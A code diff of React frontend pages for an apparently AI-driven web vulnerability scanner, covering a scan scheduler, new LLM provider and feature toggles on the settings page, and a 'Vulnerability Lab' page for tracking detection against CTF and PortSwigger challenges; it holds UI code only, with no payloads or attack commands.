||||
<div>
|
||||
<p className="text-sm text-dark-400 mb-2">Execution Time</p>
|
||||
<div className="flex items-center gap-2">
|
||||
<select
|
||||
value={executionHour}
|
||||
onChange={(e) => setExecutionHour(e.target.value)}
|
||||
className="bg-dark-900 border border-dark-600 rounded-lg px-3 py-2.5 text-white text-sm focus:border-brand-500 focus:outline-none"
|
||||
>
|
||||
{Array.from({ length: 24 }, (_, i) => (
|
||||
<option key={i} value={String(i).padStart(2, '0')}>
|
||||
{String(i).padStart(2, '0')}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
<span className="text-dark-400 text-lg font-bold">:</span>
|
||||
<select
|
||||
value={executionMinute}
|
||||
onChange={(e) => setExecutionMinute(e.target.value)}
|
||||
className="bg-dark-900 border border-dark-600 rounded-lg px-3 py-2.5 text-white text-sm focus:border-brand-500 focus:outline-none"
|
||||
>
|
||||
{['00', '15', '30', '45'].map(m => (
|
||||
<option key={m} value={m}>{m}</option>
|
||||
))}
|
||||
</select>
|
||||
<span className="text-dark-500 text-sm ml-2">UTC</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{selectedDays.length > 0 && (
|
||||
<div className="p-3 bg-dark-900/50 rounded-lg border border-dark-700/50">
|
||||
<p className="text-xs text-dark-400">
|
||||
Cron: <code className="text-brand-400 bg-dark-700 px-1.5 py-0.5 rounded">
|
||||
{`${executionMinute} ${executionHour} * * ${selectedDays.sort((a, b) => a - b).join(',')}`}
|
||||
</code>
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Interval mode */}
|
||||
{scheduleMode === 'interval' && (
|
||||
<div className="space-y-3">
|
||||
<div className="grid grid-cols-4 gap-2">
|
||||
{[
|
||||
{ label: '15 min', value: '15' },
|
||||
{ label: '30 min', value: '30' },
|
||||
{ label: '1 hour', value: '60' },
|
||||
{ label: '2 hours', value: '120' },
|
||||
{ label: '4 hours', value: '240' },
|
||||
{ label: '6 hours', value: '360' },
|
||||
{ label: '12 hours', value: '720' },
|
||||
{ label: '24 hours', value: '1440' },
|
||||
].map(opt => (
|
||||
<button
|
||||
key={opt.value}
|
||||
onClick={() => setIntervalMinutes(opt.value)}
|
||||
className={`py-2.5 px-3 rounded-lg border text-sm font-medium transition-all ${
|
||||
intervalMinutes === opt.value
|
||||
? 'border-brand-500 bg-brand-500/10 text-brand-400'
|
||||
: 'border-dark-600 bg-dark-900/30 text-dark-400 hover:border-dark-500'
|
||||
}`}
|
||||
>
|
||||
{opt.label}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<Input
|
||||
label="Custom interval (minutes)"
|
||||
type="number"
|
||||
min="1"
|
||||
value={intervalMinutes}
|
||||
onChange={(e) => setIntervalMinutes(e.target.value)}
|
||||
helperText={`Scan runs every ${parseInt(intervalMinutes) >= 60 ? `${Math.floor(parseInt(intervalMinutes) / 60)}h ${parseInt(intervalMinutes) % 60}m` : `${intervalMinutes} minutes`}`}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Actions */}
|
||||
<div className="flex items-center justify-between pt-2 border-t border-dark-700">
|
||||
<p className="text-xs text-dark-500">
|
||||
{scheduleMode === 'interval'
|
||||
? `Runs every ${parseInt(intervalMinutes) >= 60 ? `${Math.floor(parseInt(intervalMinutes) / 60)} hour(s)` : `${intervalMinutes} min`}`
|
||||
: scheduleMode === 'days' && selectedDays.length > 0
|
||||
? `Runs on ${selectedDays.sort((a,b)=>a-b).map(d => DAYS_OF_WEEK[d].short).join(', ')} at ${executionHour}:${executionMinute}`
|
||||
: scheduleMode === 'preset' && cronPreset !== 'custom'
|
||||
? CRON_PRESETS.find(p => p.value === cronPreset)?.desc || ''
|
||||
: ''
|
||||
}
|
||||
</p>
|
||||
<div className="flex gap-3">
|
||||
<Button variant="secondary" onClick={() => { setShowForm(false); resetForm() }}>
|
||||
Cancel
|
||||
</Button>
|
||||
<Button onClick={handleCreate} isLoading={isCreating}>
|
||||
<Plus className="w-4 h-4 mr-2" />
|
||||
Create Schedule
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Summary Stats */}
|
||||
{jobs.length > 0 && (
|
||||
<div className="grid grid-cols-3 gap-4">
|
||||
<div className="bg-dark-800/50 border border-dark-700/50 rounded-lg p-4">
|
||||
<p className="text-dark-400 text-sm">Total Schedules</p>
|
||||
<p className="text-2xl font-bold text-white mt-1">{jobs.length}</p>
|
||||
</div>
|
||||
<div className="bg-dark-800/50 border border-dark-700/50 rounded-lg p-4">
|
||||
<p className="text-dark-400 text-sm">Active</p>
|
||||
<p className="text-2xl font-bold text-green-400 mt-1">{jobs.filter(j => j.status === 'active').length}</p>
|
||||
</div>
|
||||
<div className="bg-dark-800/50 border border-dark-700/50 rounded-lg p-4">
|
||||
<p className="text-dark-400 text-sm">Total Runs</p>
|
||||
<p className="text-2xl font-bold text-brand-400 mt-1">{jobs.reduce((sum, j) => sum + j.run_count, 0)}</p>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Jobs List */}
|
||||
<div>
|
||||
<div className="flex items-center justify-between mb-4">
|
||||
<h3 className="text-lg font-semibold text-white">
|
||||
Scheduled Jobs
|
||||
<span className="text-dark-500 text-sm font-normal ml-2">
|
||||
{jobs.length} job{jobs.length !== 1 ? 's' : ''}
|
||||
</span>
|
||||
</h3>
|
||||
</div>
|
||||
|
||||
{loading ? (
|
||||
<div className="flex items-center justify-center py-16">
|
||||
<RefreshCw className="w-6 h-6 text-dark-400 animate-spin" />
|
||||
</div>
|
||||
) : jobs.length === 0 ? (
|
||||
<Card>
|
||||
<div className="text-center py-16">
|
||||
<div className="w-16 h-16 bg-dark-700/50 rounded-full flex items-center justify-center mx-auto mb-4">
|
||||
<Calendar className="w-8 h-8 text-dark-500" />
|
||||
</div>
|
||||
<p className="text-dark-300 font-medium">No scheduled jobs yet</p>
|
||||
<p className="text-dark-500 text-sm mt-1 mb-4">Create a schedule to run automated recurring scans</p>
|
||||
<Button onClick={() => setShowForm(true)}>
|
||||
<Plus className="w-4 h-4 mr-2" />
|
||||
Create First Schedule
|
||||
</Button>
|
||||
</div>
|
||||
</Card>
|
||||
) : (
|
||||
<div className="space-y-3">
|
||||
{jobs.map((job) => (
|
||||
<div
|
||||
key={job.id}
|
||||
className="bg-dark-800 border border-dark-700/50 rounded-xl p-5 hover:border-dark-600 transition-colors"
|
||||
>
|
||||
<div className="flex items-start justify-between">
|
||||
<div className="flex items-start gap-4">
|
||||
{/* Status indicator */}
|
||||
<div className={`w-10 h-10 rounded-lg flex items-center justify-center flex-shrink-0 ${
|
||||
job.status === 'active' ? 'bg-green-500/15' : 'bg-yellow-500/15'
|
||||
}`}>
|
||||
{job.status === 'active'
|
||||
? <Play className="w-5 h-5 text-green-400" />
|
||||
: <Pause className="w-5 h-5 text-yellow-400" />
|
||||
}
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<div className="flex items-center gap-3">
|
||||
<p className="font-semibold text-white text-lg">{job.id}</p>
|
||||
<span className={`px-2.5 py-0.5 text-xs rounded-full font-medium ${
|
||||
job.status === 'active'
|
||||
? 'bg-green-500/15 text-green-400 border border-green-500/30'
|
||||
: 'bg-yellow-500/15 text-yellow-400 border border-yellow-500/30'
|
||||
}`}>
|
||||
{job.status}
|
||||
</span>
|
||||
<span className="px-2 py-0.5 text-xs rounded bg-dark-700 text-dark-300">
|
||||
{job.scan_type}
|
||||
</span>
|
||||
{job.agent_role && (
|
||||
<span className="px-2 py-0.5 text-xs rounded bg-brand-500/15 text-brand-400 border border-brand-500/30">
|
||||
{job.agent_role.replace(/_/g, ' ')}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="flex items-center gap-4 mt-2 text-sm text-dark-400">
|
||||
<span className="flex items-center gap-1.5">
|
||||
<Target className="w-3.5 h-3.5" />
|
||||
{job.target}
|
||||
</span>
|
||||
<span className="flex items-center gap-1.5">
|
||||
<Clock className="w-3.5 h-3.5" />
|
||||
{job.schedule}
|
||||
</span>
|
||||
{job.run_count > 0 && (
|
||||
<span className="flex items-center gap-1.5">
|
||||
<RefreshCw className="w-3.5 h-3.5" />
|
||||
{job.run_count} run{job.run_count !== 1 ? 's' : ''}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{(job.next_run || job.last_run) && (
|
||||
<div className="flex items-center gap-4 mt-1.5 text-xs text-dark-500">
|
||||
{job.next_run && (
|
||||
<span>Next: {new Date(job.next_run).toLocaleString()}</span>
|
||||
)}
|
||||
{job.last_run && (
|
||||
<span>Last: {new Date(job.last_run).toLocaleString()}</span>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Actions */}
|
||||
<div className="flex items-center gap-1">
|
||||
{job.status === 'active' ? (
|
||||
<Button variant="ghost" size="sm" onClick={() => handlePause(job.id)} title="Pause schedule">
|
||||
<Pause className="w-4 h-4 text-yellow-400" />
|
||||
</Button>
|
||||
) : (
|
||||
<Button variant="ghost" size="sm" onClick={() => handleResume(job.id)} title="Resume schedule">
|
||||
<Play className="w-4 h-4 text-green-400" />
|
||||
</Button>
|
||||
)}
|
||||
|
||||
{deleteConfirm === job.id ? (
|
||||
<div className="flex items-center gap-1 ml-2">
|
||||
<Button variant="ghost" size="sm" onClick={() => handleDelete(job.id)}>
|
||||
<span className="text-red-400 text-xs font-medium">Confirm</span>
|
||||
</Button>
|
||||
<Button variant="ghost" size="sm" onClick={() => setDeleteConfirm(null)}>
|
||||
<span className="text-dark-400 text-xs">Cancel</span>
|
||||
</Button>
|
||||
</div>
|
||||
) : (
|
||||
<Button variant="ghost" size="sm" onClick={() => setDeleteConfirm(job.id)} title="Delete schedule">
|
||||
<Trash2 className="w-4 h-4 text-red-400" />
|
||||
</Button>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,5 +1,5 @@
|
||||
import { useState, useEffect } from 'react'
|
||||
import { Save, Shield, Trash2, RefreshCw, AlertTriangle } from 'lucide-react'
|
||||
import { Save, Shield, Trash2, RefreshCw, AlertTriangle, Brain, Router, Eye } from 'lucide-react'
|
||||
import Card from '../components/common/Card'
|
||||
import Button from '../components/common/Button'
|
||||
import Input from '../components/common/Input'
|
||||
@@ -8,10 +8,15 @@ interface Settings {
|
||||
llm_provider: string
|
||||
has_anthropic_key: boolean
|
||||
has_openai_key: boolean
|
||||
has_openrouter_key: boolean
|
||||
max_concurrent_scans: number
|
||||
aggressive_mode: boolean
|
||||
default_scan_type: string
|
||||
recon_enabled_by_default: boolean
|
||||
enable_model_routing: boolean
|
||||
enable_knowledge_augmentation: boolean
|
||||
enable_browser_validation: boolean
|
||||
max_output_tokens: number | null
|
||||
}
|
||||
|
||||
interface DbStats {
|
||||
@@ -26,9 +31,14 @@ export default function SettingsPage() {
|
||||
const [dbStats, setDbStats] = useState<DbStats | null>(null)
|
||||
const [apiKey, setApiKey] = useState('')
|
||||
const [openaiKey, setOpenaiKey] = useState('')
|
||||
const [openrouterKey, setOpenrouterKey] = useState('')
|
||||
const [llmProvider, setLlmProvider] = useState('claude')
|
||||
const [maxConcurrentScans, setMaxConcurrentScans] = useState('3')
|
||||
const [maxOutputTokens, setMaxOutputTokens] = useState('')
|
||||
const [aggressiveMode, setAggressiveMode] = useState(false)
|
||||
const [enableModelRouting, setEnableModelRouting] = useState(false)
|
||||
const [enableKnowledgeAugmentation, setEnableKnowledgeAugmentation] = useState(false)
|
||||
const [enableBrowserValidation, setEnableBrowserValidation] = useState(false)
|
||||
const [isSaving, setIsSaving] = useState(false)
|
||||
const [isClearing, setIsClearing] = useState(false)
|
||||
const [showClearConfirm, setShowClearConfirm] = useState(false)
|
||||
@@ -48,6 +58,10 @@ export default function SettingsPage() {
|
||||
setLlmProvider(data.llm_provider)
|
||||
setMaxConcurrentScans(String(data.max_concurrent_scans))
|
||||
setAggressiveMode(data.aggressive_mode)
|
||||
setEnableModelRouting(data.enable_model_routing ?? false)
|
||||
setEnableKnowledgeAugmentation(data.enable_knowledge_augmentation ?? false)
|
||||
setEnableBrowserValidation(data.enable_browser_validation ?? false)
|
||||
setMaxOutputTokens(data.max_output_tokens ? String(data.max_output_tokens) : '')
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('Failed to fetch settings:', error)
|
||||
@@ -78,8 +92,13 @@ export default function SettingsPage() {
|
||||
llm_provider: llmProvider,
|
||||
anthropic_api_key: apiKey || undefined,
|
||||
openai_api_key: openaiKey || undefined,
|
||||
openrouter_api_key: openrouterKey || undefined,
|
||||
max_concurrent_scans: parseInt(maxConcurrentScans),
|
||||
aggressive_mode: aggressiveMode
|
||||
aggressive_mode: aggressiveMode,
|
||||
enable_model_routing: enableModelRouting,
|
||||
enable_knowledge_augmentation: enableKnowledgeAugmentation,
|
||||
enable_browser_validation: enableBrowserValidation,
|
||||
max_output_tokens: maxOutputTokens ? parseInt(maxOutputTokens) : null
|
||||
})
|
||||
})
|
||||
|
||||
@@ -88,6 +107,7 @@ export default function SettingsPage() {
|
||||
setSettings(data)
|
||||
setApiKey('')
|
||||
setOpenaiKey('')
|
||||
setOpenrouterKey('')
|
||||
setMessage({ type: 'success', text: 'Settings saved successfully!' })
|
||||
} else {
|
||||
setMessage({ type: 'error', text: 'Failed to save settings' })
|
||||
@@ -123,6 +143,15 @@ export default function SettingsPage() {
|
||||
}
|
||||
}
|
||||
|
||||
const ToggleSwitch = ({ enabled, onToggle }: { enabled: boolean; onToggle: () => void }) => (
|
||||
<button
|
||||
onClick={onToggle}
|
||||
className={`w-12 h-6 rounded-full transition-colors ${enabled ? 'bg-primary-500' : 'bg-dark-700'}`}
|
||||
>
|
||||
<div className={`w-5 h-5 bg-white rounded-full shadow-md transform transition-transform ${enabled ? 'translate-x-6' : 'translate-x-0.5'}`} />
|
||||
</button>
|
||||
)
|
||||
|
||||
return (
|
||||
<div className="max-w-2xl mx-auto space-y-6 animate-fadeIn">
|
||||
{/* Status Message */}
|
||||
@@ -139,14 +168,14 @@ export default function SettingsPage() {
|
||||
<label className="block text-sm font-medium text-dark-200 mb-2">
|
||||
LLM Provider
|
||||
</label>
|
||||
<div className="flex gap-2">
|
||||
{['claude', 'openai', 'ollama'].map((provider) => (
|
||||
<div className="flex gap-2 flex-wrap">
|
||||
{['claude', 'openai', 'openrouter', 'ollama'].map((provider) => (
|
||||
<Button
|
||||
key={provider}
|
||||
variant={llmProvider === provider ? 'primary' : 'secondary'}
|
||||
onClick={() => setLlmProvider(provider)}
|
||||
>
|
||||
{provider.charAt(0).toUpperCase() + provider.slice(1)}
|
||||
{provider === 'openrouter' ? 'OpenRouter' : provider.charAt(0).toUpperCase() + provider.slice(1)}
|
||||
</Button>
|
||||
))}
|
||||
</div>
|
||||
@@ -173,6 +202,72 @@ export default function SettingsPage() {
|
||||
helperText={settings?.has_openai_key ? 'API key is configured. Enter a new key to update.' : 'Required for OpenAI-powered analysis'}
|
||||
/>
|
||||
)}
|
||||
|
||||
{llmProvider === 'openrouter' && (
|
||||
<Input
|
||||
label="OpenRouter API Key"
|
||||
type="password"
|
||||
placeholder={settings?.has_openrouter_key ? '••••••••••••••••' : 'sk-or-...'}
|
||||
value={openrouterKey}
|
||||
onChange={(e) => setOpenrouterKey(e.target.value)}
|
||||
helperText={settings?.has_openrouter_key ? 'API key is configured. Enter a new key to update.' : 'Required for OpenRouter model access'}
|
||||
/>
|
||||
)}
|
||||
|
||||
<Input
|
||||
label="Max Output Tokens"
|
||||
type="number"
|
||||
min="1024"
|
||||
max="64000"
|
||||
placeholder="Default (profile-based)"
|
||||
value={maxOutputTokens}
|
||||
onChange={(e) => setMaxOutputTokens(e.target.value)}
|
||||
helperText="Override max output tokens (up to 64000 for Claude). Leave empty for profile defaults."
|
||||
/>
|
||||
</div>
|
||||
</Card>
|
||||
|
||||
{/* Advanced Features */}
|
||||
<Card title="Advanced Features" subtitle="Optional AI enhancement modules">
|
||||
<div className="space-y-3">
|
||||
<div className="flex items-center justify-between p-4 bg-dark-900/50 rounded-lg">
|
||||
<div className="flex items-center gap-3">
|
||||
<Router className="w-5 h-5 text-blue-400" />
|
||||
<div>
|
||||
<p className="font-medium text-white">Model Routing</p>
|
||||
<p className="text-sm text-dark-400">
|
||||
Route tasks to specialized LLM profiles by type (reasoning, analysis, generation)
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
<ToggleSwitch enabled={enableModelRouting} onToggle={() => setEnableModelRouting(!enableModelRouting)} />
|
||||
</div>
|
||||
|
||||
<div className="flex items-center justify-between p-4 bg-dark-900/50 rounded-lg">
|
||||
<div className="flex items-center gap-3">
|
||||
<Brain className="w-5 h-5 text-purple-400" />
|
||||
<div>
|
||||
<p className="font-medium text-white">Knowledge Augmentation</p>
|
||||
<p className="text-sm text-dark-400">
|
||||
Enrich AI context with bug bounty pattern datasets (19 vuln types)
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
<ToggleSwitch enabled={enableKnowledgeAugmentation} onToggle={() => setEnableKnowledgeAugmentation(!enableKnowledgeAugmentation)} />
|
||||
</div>
|
||||
|
||||
<div className="flex items-center justify-between p-4 bg-dark-900/50 rounded-lg">
|
||||
<div className="flex items-center gap-3">
|
||||
<Eye className="w-5 h-5 text-green-400" />
|
||||
<div>
|
||||
<p className="font-medium text-white">Browser Validation</p>
|
||||
<p className="text-sm text-dark-400">
|
||||
Playwright-based browser validation with screenshot capture
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
<ToggleSwitch enabled={enableBrowserValidation} onToggle={() => setEnableBrowserValidation(!enableBrowserValidation)} />
|
||||
</div>
|
||||
</div>
|
||||
</Card>
|
||||
|
||||
@@ -196,12 +291,7 @@ export default function SettingsPage() {
|
||||
Use more payloads and bypass techniques (may be slower)
|
||||
</p>
|
||||
</div>
|
||||
<button
|
||||
onClick={() => setAggressiveMode(!aggressiveMode)}
|
||||
className={`w-12 h-6 rounded-full transition-colors ${aggressiveMode ? 'bg-primary-500' : 'bg-dark-700'}`}
|
||||
>
|
||||
<div className={`w-5 h-5 bg-white rounded-full shadow-md transform transition-transform ${aggressiveMode ? 'translate-x-6' : 'translate-x-0.5'}`} />
|
||||
</button>
|
||||
<ToggleSwitch enabled={aggressiveMode} onToggle={() => setAggressiveMode(!aggressiveMode)} />
|
||||
</div>
|
||||
</div>
|
||||
</Card>
|
||||
@@ -290,8 +380,11 @@ export default function SettingsPage() {
|
||||
<div className="text-sm text-dark-400 space-y-1">
|
||||
<p>Dynamic vulnerability testing driven by AI prompts</p>
|
||||
<p>50+ vulnerability types across 10 categories</p>
|
||||
<p>Real-time dashboard with WebSocket updates</p>
|
||||
<p>Professional HTML/PDF/JSON reports</p>
|
||||
<p>Multi-provider LLM support (Claude, GPT, OpenRouter, Ollama)</p>
|
||||
<p>Task-type model routing and knowledge augmentation</p>
|
||||
<p>Playwright browser validation with screenshot capture</p>
|
||||
<p>OHVR-structured PoC reporting</p>
|
||||
<p>Scheduled recurring scans with cron/interval triggers</p>
|
||||
</div>
|
||||
</div>
|
||||
</Card>
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,995 @@
|
||||
import { useState, useEffect, useRef, useCallback } from 'react'
|
||||
import { useNavigate } from 'react-router-dom'
|
||||
import {
|
||||
FlaskConical, ChevronDown, ChevronUp, Loader2, Lock,
|
||||
AlertTriangle, CheckCircle2, XCircle, Play, Square,
|
||||
Trash2, Eye, Search, BarChart3, Clock, Target,
|
||||
Terminal, Shield, Globe, FileText, ChevronRight
|
||||
} from 'lucide-react'
|
||||
import { vulnLabApi } from '../services/api'
|
||||
import type { VulnTypeCategory, VulnLabChallenge, VulnLabStats, VulnLabLogEntry } from '../types'
|
||||
|
||||
const SEVERITY_COLORS: Record<string, string> = {
|
||||
critical: 'bg-red-500',
|
||||
high: 'bg-orange-500',
|
||||
medium: 'bg-yellow-500',
|
||||
low: 'bg-blue-500',
|
||||
info: 'bg-gray-500',
|
||||
}
|
||||
|
||||
const RESULT_BADGE: Record<string, { bg: string; text: string; label: string }> = {
|
||||
detected: { bg: 'bg-green-500/20', text: 'text-green-400', label: 'Detected' },
|
||||
not_detected: { bg: 'bg-red-500/20', text: 'text-red-400', label: 'Not Detected' },
|
||||
error: { bg: 'bg-yellow-500/20', text: 'text-yellow-400', label: 'Error' },
|
||||
}
|
||||
|
||||
const STATUS_BADGE: Record<string, { bg: string; text: string }> = {
|
||||
running: { bg: 'bg-blue-500/20', text: 'text-blue-400' },
|
||||
completed: { bg: 'bg-green-500/20', text: 'text-green-400' },
|
||||
failed: { bg: 'bg-red-500/20', text: 'text-red-400' },
|
||||
stopped: { bg: 'bg-orange-500/20', text: 'text-orange-400' },
|
||||
pending: { bg: 'bg-gray-500/20', text: 'text-gray-400' },
|
||||
}
|
||||
|
||||
const LOG_LEVEL_COLORS: Record<string, string> = {
|
||||
error: 'text-red-400',
|
||||
warning: 'text-yellow-400',
|
||||
info: 'text-blue-300',
|
||||
debug: 'text-dark-500',
|
||||
critical: 'text-red-500 font-bold',
|
||||
}
|
||||
|
||||
function LogLine({ log }: { log: VulnLabLogEntry }) {
|
||||
const color = LOG_LEVEL_COLORS[log.level] || 'text-dark-400'
|
||||
const time = log.time ? new Date(log.time).toLocaleTimeString() : ''
|
||||
const isLlm = log.source === 'llm'
|
||||
|
||||
return (
|
||||
<div className={`flex gap-2 text-xs font-mono leading-relaxed ${color}`}>
|
||||
<span className="text-dark-600 shrink-0 w-16">{time}</span>
|
||||
<span className={`shrink-0 w-12 uppercase ${
|
||||
log.level === 'error' ? 'text-red-500' :
|
||||
log.level === 'warning' ? 'text-yellow-500' :
|
||||
'text-dark-600'
|
||||
}`}>{log.level}</span>
|
||||
{isLlm && <span className="text-purple-500 shrink-0">[AI]</span>}
|
||||
<span className="break-all">{log.message}</span>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
export default function VulnLabPage() {
|
||||
const navigate = useNavigate()
|
||||
|
||||
// Form state
|
||||
const [targetUrl, setTargetUrl] = useState('')
|
||||
const [challengeName, setChallengeName] = useState('')
|
||||
const [selectedVulnType, setSelectedVulnType] = useState('')
|
||||
const [showAuth, setShowAuth] = useState(false)
|
||||
const [authType, setAuthType] = useState('')
|
||||
const [authValue, setAuthValue] = useState('')
|
||||
const [notes, setNotes] = useState('')
|
||||
const [searchFilter, setSearchFilter] = useState('')
|
||||
|
||||
// Data state
|
||||
const [categories, setCategories] = useState<Record<string, VulnTypeCategory>>({})
|
||||
const [expandedCat, setExpandedCat] = useState<string | null>(null)
|
||||
const [challenges, setChallenges] = useState<VulnLabChallenge[]>([])
|
||||
const [stats, setStats] = useState<VulnLabStats | null>(null)
|
||||
|
||||
// Running state
|
||||
const [isRunning, setIsRunning] = useState(false)
|
||||
const [runningChallengeId, setRunningChallengeId] = useState<string | null>(null)
|
||||
const [runningStatus, setRunningStatus] = useState<any>(null)
|
||||
const [runningLogs, setRunningLogs] = useState<VulnLabLogEntry[]>([])
|
||||
const [error, setError] = useState<string | null>(null)
|
||||
const [activeTab, setActiveTab] = useState<'test' | 'history' | 'stats'>('test')
|
||||
const [showLogs, setShowLogs] = useState(true)
|
||||
const [logFilter, setLogFilter] = useState<'all' | 'info' | 'warning' | 'error'>('all')
|
||||
|
||||
// History expansion state
|
||||
const [expandedChallenge, setExpandedChallenge] = useState<string | null>(null)
|
||||
const [expandedChallengeData, setExpandedChallengeData] = useState<any>(null)
|
||||
const [loadingChallenge, setLoadingChallenge] = useState(false)
|
||||
|
||||
const pollRef = useRef<ReturnType<typeof setInterval> | null>(null)
|
||||
const logsEndRef = useRef<HTMLDivElement>(null)
|
||||
const autoScrollRef = useRef(true)
|
||||
|
||||
// Load vuln types on mount
|
||||
useEffect(() => {
|
||||
vulnLabApi.getTypes().then(data => {
|
||||
setCategories(data.categories)
|
||||
}).catch(() => {})
|
||||
|
||||
loadChallenges()
|
||||
loadStats()
|
||||
}, [])
|
||||
|
||||
// Auto-scroll logs
|
||||
useEffect(() => {
|
||||
if (autoScrollRef.current && logsEndRef.current) {
|
||||
logsEndRef.current.scrollIntoView({ behavior: 'smooth' })
|
||||
}
|
||||
}, [runningLogs])
|
||||
|
||||
// Poll running challenge (3s for faster updates)
|
||||
useEffect(() => {
|
||||
if (!runningChallengeId || !isRunning) return
|
||||
|
||||
const poll = async () => {
|
||||
try {
|
||||
const s = await vulnLabApi.getChallenge(runningChallengeId)
|
||||
setRunningStatus(s)
|
||||
if (s.logs) setRunningLogs(s.logs)
|
||||
if (['completed', 'failed', 'stopped', 'error'].includes(s.status)) {
|
||||
setIsRunning(false)
|
||||
if (pollRef.current) clearInterval(pollRef.current)
|
||||
loadChallenges()
|
||||
loadStats()
|
||||
}
|
||||
} catch {}
|
||||
}
|
||||
|
||||
poll()
|
||||
pollRef.current = setInterval(poll, 3000)
|
||||
return () => { if (pollRef.current) clearInterval(pollRef.current) }
|
||||
}, [runningChallengeId, isRunning])
|
||||
|
||||
const loadChallenges = async () => {
|
||||
try {
|
||||
const data = await vulnLabApi.listChallenges({ limit: 50 })
|
||||
setChallenges(data.challenges)
|
||||
} catch {}
|
||||
}
|
||||
|
||||
const loadStats = async () => {
|
||||
try {
|
||||
const data = await vulnLabApi.getStats()
|
||||
setStats(data)
|
||||
} catch {}
|
||||
}
|
||||
|
||||
const handleStart = async () => {
|
||||
if (!targetUrl.trim() || !selectedVulnType) return
|
||||
|
||||
setError(null)
|
||||
setIsRunning(true)
|
||||
setRunningStatus(null)
|
||||
setRunningLogs([])
|
||||
setShowLogs(true)
|
||||
|
||||
try {
|
||||
const resp = await vulnLabApi.run({
|
||||
target_url: targetUrl.trim(),
|
||||
vuln_type: selectedVulnType,
|
||||
challenge_name: challengeName || undefined,
|
||||
auth_type: authType || undefined,
|
||||
auth_value: authValue || undefined,
|
||||
notes: notes || undefined,
|
||||
})
|
||||
setRunningChallengeId(resp.challenge_id)
|
||||
} catch (err: any) {
|
||||
setError(err?.response?.data?.detail || err?.message || 'Failed to start test')
|
||||
setIsRunning(false)
|
||||
}
|
||||
}
|
||||
|
||||
const handleStop = async () => {
|
||||
if (!runningChallengeId) return
|
||||
try {
|
||||
await vulnLabApi.stopChallenge(runningChallengeId)
|
||||
setIsRunning(false)
|
||||
} catch {}
|
||||
}
|
||||
|
||||
const handleDelete = async (id: string) => {
|
||||
try {
|
||||
await vulnLabApi.deleteChallenge(id)
|
||||
if (expandedChallenge === id) {
|
||||
setExpandedChallenge(null)
|
||||
setExpandedChallengeData(null)
|
||||
}
|
||||
loadChallenges()
|
||||
loadStats()
|
||||
} catch {}
|
||||
}
|
||||
|
||||
const toggleChallengeExpand = useCallback(async (challengeId: string) => {
|
||||
if (expandedChallenge === challengeId) {
|
||||
setExpandedChallenge(null)
|
||||
setExpandedChallengeData(null)
|
||||
return
|
||||
}
|
||||
|
||||
setExpandedChallenge(challengeId)
|
||||
setLoadingChallenge(true)
|
||||
try {
|
||||
const data = await vulnLabApi.getChallenge(challengeId)
|
||||
setExpandedChallengeData(data)
|
||||
} catch {
|
||||
setExpandedChallengeData(null)
|
||||
} finally {
|
||||
setLoadingChallenge(false)
|
||||
}
|
||||
}, [expandedChallenge])
|
||||
|
||||
// Get selected vuln type info
|
||||
const getSelectedVulnInfo = () => {
|
||||
for (const cat of Object.values(categories)) {
|
||||
const found = cat.types.find(t => t.key === selectedVulnType)
|
||||
if (found) return found
|
||||
}
|
||||
return null
|
||||
}
|
||||
|
||||
const selectedInfo = getSelectedVulnInfo()
|
||||
|
||||
// Filter vuln types by search
|
||||
const filteredCategories = Object.entries(categories).map(([key, cat]) => {
|
||||
const filtered = searchFilter
|
||||
? cat.types.filter(t =>
|
||||
t.key.includes(searchFilter.toLowerCase()) ||
|
||||
t.title.toLowerCase().includes(searchFilter.toLowerCase())
|
||||
)
|
||||
: cat.types
|
||||
return { key, ...cat, types: filtered }
|
||||
}).filter(c => c.types.length > 0)
|
||||
|
||||
const formatDuration = (seconds: number | null | undefined) => {
|
||||
if (!seconds) return '-'
|
||||
if (seconds < 60) return `${seconds}s`
|
||||
const m = Math.floor(seconds / 60)
|
||||
const s = seconds % 60
|
||||
return `${m}m ${s}s`
|
||||
}
|
||||
|
||||
// Filter running logs
|
||||
const filteredLogs = logFilter === 'all'
|
||||
? runningLogs
|
||||
: runningLogs.filter(l => l.level === logFilter)
|
||||
|
||||
return (
|
||||
<div className="min-h-screen flex flex-col items-center py-8 px-4">
|
||||
{/* Header */}
|
||||
<div className="text-center mb-8">
|
||||
<div className="inline-flex items-center justify-center w-16 h-16 bg-purple-500/20 rounded-2xl mb-4">
|
||||
<FlaskConical className="w-8 h-8 text-purple-400" />
|
||||
</div>
|
||||
<h1 className="text-3xl font-bold text-white mb-2">Vulnerability Lab</h1>
|
||||
<p className="text-dark-400 max-w-lg">
|
||||
Test individual vulnerability types against labs, CTFs, and PortSwigger challenges.
|
||||
Track detection performance per vuln type.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Tab Bar */}
|
||||
<div className="flex gap-2 mb-6">
|
||||
{[
|
||||
{ key: 'test' as const, label: 'New Test', icon: Play },
|
||||
{ key: 'history' as const, label: 'History', icon: Clock },
|
||||
{ key: 'stats' as const, label: 'Stats', icon: BarChart3 },
|
||||
].map(tab => (
|
||||
<button
|
||||
key={tab.key}
|
||||
onClick={() => setActiveTab(tab.key)}
|
||||
